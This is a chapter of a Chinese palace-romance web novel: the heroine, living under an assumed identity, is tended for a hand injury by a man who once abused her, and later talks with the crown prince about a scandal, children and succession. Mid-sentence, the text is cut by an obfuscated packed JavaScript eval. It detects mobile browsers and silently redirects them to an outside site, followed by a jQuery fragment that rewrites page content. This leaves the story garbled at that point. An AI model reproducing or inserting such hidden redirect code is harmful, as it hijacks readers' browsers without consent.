凌枕梨本想多待一会儿看裴玄临对吐蕃的马球赛,手上的疼痛却让她不得不找个寝殿去休息。
初夏的微风裹挟着花香卷入殿内,凌枕梨斜倚在软榻上,不敢触碰虎口,只能用指尖轻轻按揉着手腕处泛红的伤肿。
“听说你在马球赛上伤着手了。”
珠帘轻响,薛皓庭不知何时已立在殿中。
今日他一袭深色紫袍衬得人如松柏,偏那双眼含着三分轻佻,倒比往日更显风流。
“你来做什么。”
凌枕梨撇过眸子刻意不去看他,刚要起身,薛皓庭已几步上前,不由分说地捉住她的胳膊。
她挣了挣,薛皓庭见她吃了疼,于是放开手。
他低笑一声,从袖中取出一个青瓷小瓶:“给你送药,太医院的药哪里比得上丞相府里的。”
他指尖沾了药膏,在她腕间轻轻打转,给她拆开绷带,准备上药。
那药膏沁凉,偏他指腹温热,冰火交织间,凌枕梨不由绷紧了背脊。
“弄疼你了?”薛皓庭察觉,指腹更加柔了一些。
“没有。”凌枕梨撅撅嘴,“还挺舒服的。”
丞相府的药比皇宫里的还好?这是逾越吧?
“你还舒服上了?这伤怎么弄得,打个马球还能伤着自己。”他忽然俯身,气息拂过她耳畔。
凌枕梨心头一跳。
虽然话说的不客气,但是他的语气是明明白白关心的。
在丞相府时,总是被薛皓庭折磨虐待,什么时候对她这么好过,现下如此温柔,倒有些不适应。
“是柔嘉郡主非跟我比马球,我若不答应她,她便一直缠着,我索性遂了她的愿。”
凌枕梨不出恶气就咽不下气,明明因此受伤了也没发觉出吃亏来。
“她是嫉妒你吧,据我所知萧崇珩与她相看两相厌,多半是他的心还在你这,看来你在萧崇珩心里占据的分量不小啊。”薛皓庭调侃。
“我现在跟他已经半文钱关系都没有。”凌枕梨倔强。
“不过这裴禅莲,还真把自己当碟子菜了,居然敢欺负到你头上,你要是能拿出打我的那个劲给她一巴掌,她就老实了。”
“她是郡主我怎么能打她。”
“你我的祖父赵国公仙逝时高宗扶棺,外祖父梁国公仙逝时文帝扶棺,叔叔封侯父亲拜相,你口中的这个郡主,为表对文帝的忠心,还在外祖父灵前磕头,你怕她做什么。”
凌枕梨无语,她又不是真的薛映月,她哪里会有那与生俱来的底气。
“你说什么呢!哎呦哎呦……轻点啊弄疼我了。”
“好好好,轻点,这么大的伤口,你事后也不知道敷个冰,如今倒好都肿了,这太子,怎么照顾你的。”
薛皓庭嘴上抱怨着,凌枕梨一歪头,看到了他带来的冰块。
她傲娇地嘴角上扬:“这不是有你照顾我吗。”
话一说完,两人均是一愣。
三秒后,薛皓庭打破沉默,“嗯”了一声。
“……太子也不是不照顾我,当时我以为没事,就没让宫人去拿冰。”
“你都受伤了他还有心思跟吐蕃人打马球。”薛皓庭不满。
“毕竟是我朝的颜面。”
“从裴玄临亲手砍了文帝的头,又把帝位让给软弱无能的今圣,我朝的颜面就没了。”薛皓庭笑了出来。
“……”
凌枕梨不通政治,不明白薛皓庭说的是什么意思。
薛皓庭见她不明白,几句带过:“今圣耳根子软,裴玄临铁血手腕,朝堂上柔刚兼施是可行,但陛下太过优柔寡断,难当帝王大任。”
凌枕梨稍微听懂了一点。
“你我怎么能议论陛下呢,这是杀头的死罪。”
“这不只有咱们两个吗。”
薛皓庭给她换好药,重新缠上新纱布。
“你让我帮的事,我可是帮了,要怎么补偿我。”
“等我伤好了再说。”能拖一时是一时。
“也行,不急于一时。”薛皓庭笑了。
凌枕梨一时找不到什么话接下去,两个人沉默着,周围一片寂静,只能听见薛皓庭为她缠绕纱布的声音。
窸窸窣窣的。
良久,薛皓庭垂眸,主动提起萧崇珩:
“萧崇珩一定纠缠你了吧。”
“嗯。”
提起萧崇珩,凌枕梨的心就像被刀割一样疼。
“京中人人皆知他宠爱醉仙楼里的一个妓子到痴狂的地步,连御赐的物件送起来都一眼不眨,还送了她一只波斯猫,但最后却把她弃之不顾。”
“……”
“我也知道,所以我才去寻你。”
凌枕梨抬起头,瞪眼盯着薛皓庭,立刻反应过来。
“所以你本来就知道我是谁,你就是冲着我跟过萧崇珩才去的醉仙楼?”
“……”这下轮到薛皓庭不知道如何作答了。
完蛋了。
“你不是说因为看我长得像你妹妹你才买下我的吗。”凌枕梨嗔怒。
“不像吗。”
“像吗?”
“嗯,不像。”
“登徒子,滚远一点。”
凌枕梨没控制住怒气,用受伤的手用力推搡薛皓庭,结果刚止住血的伤口又裂开,往外渗血。
“行了,又白忙活了。”薛皓庭白了她一眼。
虽然手疼,但凌枕梨怒火中烧:“你不是一直把我当你妹妹的替身吗!”
“我还是分得清你跟我妹的。”
“你!”
尽管生气,薛皓庭跪在地上要为她更换绷带,她也没拒绝。
“过去我也没心悦的女人,只有薛润一个亲妹妹,我想我可能是把亲情跟爱欲混淆,连我自己都没察觉,我只对你有邪念,所以现在后知后觉……还有,让你扮作我妹妹,是我为满足一己私欲故意逗你的,不是真……”
“哥哥。”
凌枕梨突然叫住薛皓庭,制止住了他接下来要道歉的话。
她不需要薛皓庭道歉,因为她不会原谅薛皓庭。
“你不用叫我哥哥。”
“哥哥。”
凌枕梨眼神坚定,依旧提醒他如今两人的身份,仿佛刚才的撒娇嬉闹是从未有过的。
“既然话说开了,你对我只是兄妹情意,就更好了。”
说这话时,凌枕梨是完完全全将自己放在薛映月的位置上。
“我知道了。”
薛皓庭垂下眼眸,正好为她包扎完。
“你好好休息吧,我出去。”
“记得把门带好。”
凌枕梨被他刚刚的一番话搅得心烦意乱,现在不想看见他。
薛皓庭如她所愿,还她一个清净。
凌枕梨深感疲惫,重新躺回床上,思考着刚才薛皓庭说的话。
他是感到愧疚了才来跟自己说这些话吗……觉得以前那样对待她太过分了,现在想要悔改了吗?薛皓庭让她扮作薛映月来折磨她的时候可没想过她的感受。
总之,她不会原谅薛皓庭的,过去他对她的辱骂,殴打,她要时刻铭记于心,以后报复回去。
***
回到东宫吃过晚饭,就寝时,裴玄临执起凌枕梨的手细细查看。
月色透过窗户,微风吹得蜡烛摇曳,在她手腕上投下斑驳光影。
“还疼不疼?”裴玄临低头,轻轻在她手腕处落下一吻。
凌枕梨指尖微颤,有些羞怯:“伤的倒也不是特别重,养些日子就好了。”
裴玄临轻笑,指尖抚过她腕间红肿,“这还不是很重?都伤成什么样了,手腕都肿了,怪我,没照顾好你。”
凌枕梨正欲开口,又被他揽入怀中。
裴玄临的唇贴着她耳垂,声音低得几不可闻:“我听说舅兄去看你了,他有没有责怪我看护不周。”
“哥哥他也只是心疼我。”
凌枕梨一时心软,给薛皓庭说了好话,说完立刻后悔了。
“今日大胜吐蕃后寻你的路上,不少人都在议论金安和杨承秀的事。”裴玄临捏了捏凌枕梨的脸,柔声笑道,“是不是你做的。”
“三郎这么说,是要治妾管束下人不力之罪吗。”凌枕梨声音娇软,缩在裴玄临怀中撒娇。
裴玄临被她吃的死死的。
“我哪舍得惩治你这滑头。”
凌枕梨趴在裴玄临怀中,明亮的大眼睛看着他,眼珠一转:“那……陛下和娘娘,会惩罚金安公主吗?”
“不见得。”裴玄临笑着摇摇头。
“什么?为什么?”
凌枕梨不满,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710132|173592||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眉间带有几分愠色看向裴玄临,希望他告诉她为什么。
她就是为了让金安公主丑闻传遍整个京城,失去皇上皇后的宠爱,才让侍女们将此事宣扬出去,如果一无所获,她会倍感受挫。
“不知道。”裴玄临没正面回答她这个问题。
看样子他似乎是有什么难言之隐,凌枕梨便没有再问。
过了几秒,裴玄临突然道:“你性子娇纵,金安不难猜出是你把消息放出去的,防人之心不可无,你最近尽量少出门,等这一阵子过去。”
“这么说来,我是把我自己禁足了吗。”凌枕梨不高兴了。
一个公主,能猖狂疯魔成什么样,太子妃难不成需要怕她,何况她现在顶着薛映月的身份,公主得罪她也要掂量掂量她身后的丞相府吧。
“倒也不是……”裴玄临略有思索,“只是要减少跟金安碰面,护崽的母兽可是很吓人的。”
……
那她就理解了,她也有过孩子。
但可不敢让裴玄临知道。
想到这儿,凌枕梨将裴玄临抱得更紧一点,感受着他的心跳,假意中掺杂了一丝真情。
“三郎,等我们有了孩子,你也会保护他的,对吧。”
“那当然了。”
裴玄临察觉到凌枕梨带着一丝不安,轻轻拍着她的后背安抚。
“我父母去的早,我没能享受到父母亲的庇护,等将来咱们有了孩子,我一定不会让他像我一样。”
凌枕梨听着这话心里酸酸的,如果她失去的那个孩子的父亲是裴玄临,是不是孩子就可以活下来,陪在她身边……
“你怎么哭了。”裴玄临轻轻为她拭去眼角的泪水。
“我怕我……怕做不好母亲,我还没准备好……”
凌枕梨越想越觉得对不起裴玄临,越想又越害怕,越惊恐,裴玄临现在对她这么好,可若有一天他得知了她过去的事,肯定会厌恶她,抛弃她,甚至会愤怒,觉得她又脏又恶心,要下令处死她……
而裴玄临不知道她在想这些,一味地想哄好她。
“不急,再过个三五年也好,如今朝堂局势不稳,我没有十足的精力教导,你年岁又小,生子犹过鬼门关,不生也不要紧,大不了就像今圣,咱们到时候过继宗室中优秀的子弟,放心吧,其他位置空着说得过去,皇位不一样,就算有人占着,下面也有人争得头破血流,妄取而代之,所以根本不用担心没人继承,你别有压力。”
反正已经很多个朝代没有顺利继位的太子了,就算生了孩子,也要提防宗室中狼子野心的孩子。
凌枕梨被他这一番话哄好了,趴在他胸膛上玩着他的头发,问:
“三郎,父皇和母后只生了你一个孩子,那你怎么叫三郎啊?”
裴玄临想了想,解释给她:“文帝不喜我母亲,连带着也厌恶我,我出生后不久把我过继给了已逝的章慧太子,章慧太子有两个早逝的儿子,因此我排行第三,大家就叫我三郎,待我父皇继位后把我改了回来,但那会儿大家叫习惯了我也听习惯了,往后就一直叫三郎了。”
转念一想,宗室除了文帝所出的孩子们尚有子嗣存活,裴家已经没什么活着的孩子了。
除了他自己,也就端怀太子的一儿一女,顺义郡王和柔嘉郡主,再加上现如今的金安公主。
若说过继,似乎只有顺义郡王日后的孩子,他现在在朝中挂着闲职,贪图享乐,整日里行污受贿,串通权贵断了不少冤假错案,也正是因为他与柔嘉郡主无用,才在京中留了一条命。
“那文帝为何要对亲生的子孙如此苛刻呢。”
“因为她是皇帝。”裴玄临垂眸,自嘲一笑,“她不会把自己看做是一个妻子,一个母亲,一个祖母,而是手握生杀大权,说一不二的帝王,在她面前众人皆是蝼蚁,顺者昌,逆者亡。”
“那你呢。”
凌枕梨突然从他怀中探出脑袋,爬起身,一半撒娇一半认真地问。
“我嘛……反正我不会对你和咱们的孩子苛刻。”
裴玄临说的是真心话,凌枕梨倒也愿意相信他。
看得出来,裴家众帝可拥后宫佳丽三千,却都是独钟一人,想必裴玄临耳濡目染,不会辜负她。
这么想着,凌枕梨重新躺回他的身边,裴玄临又自然地将她揽进怀里……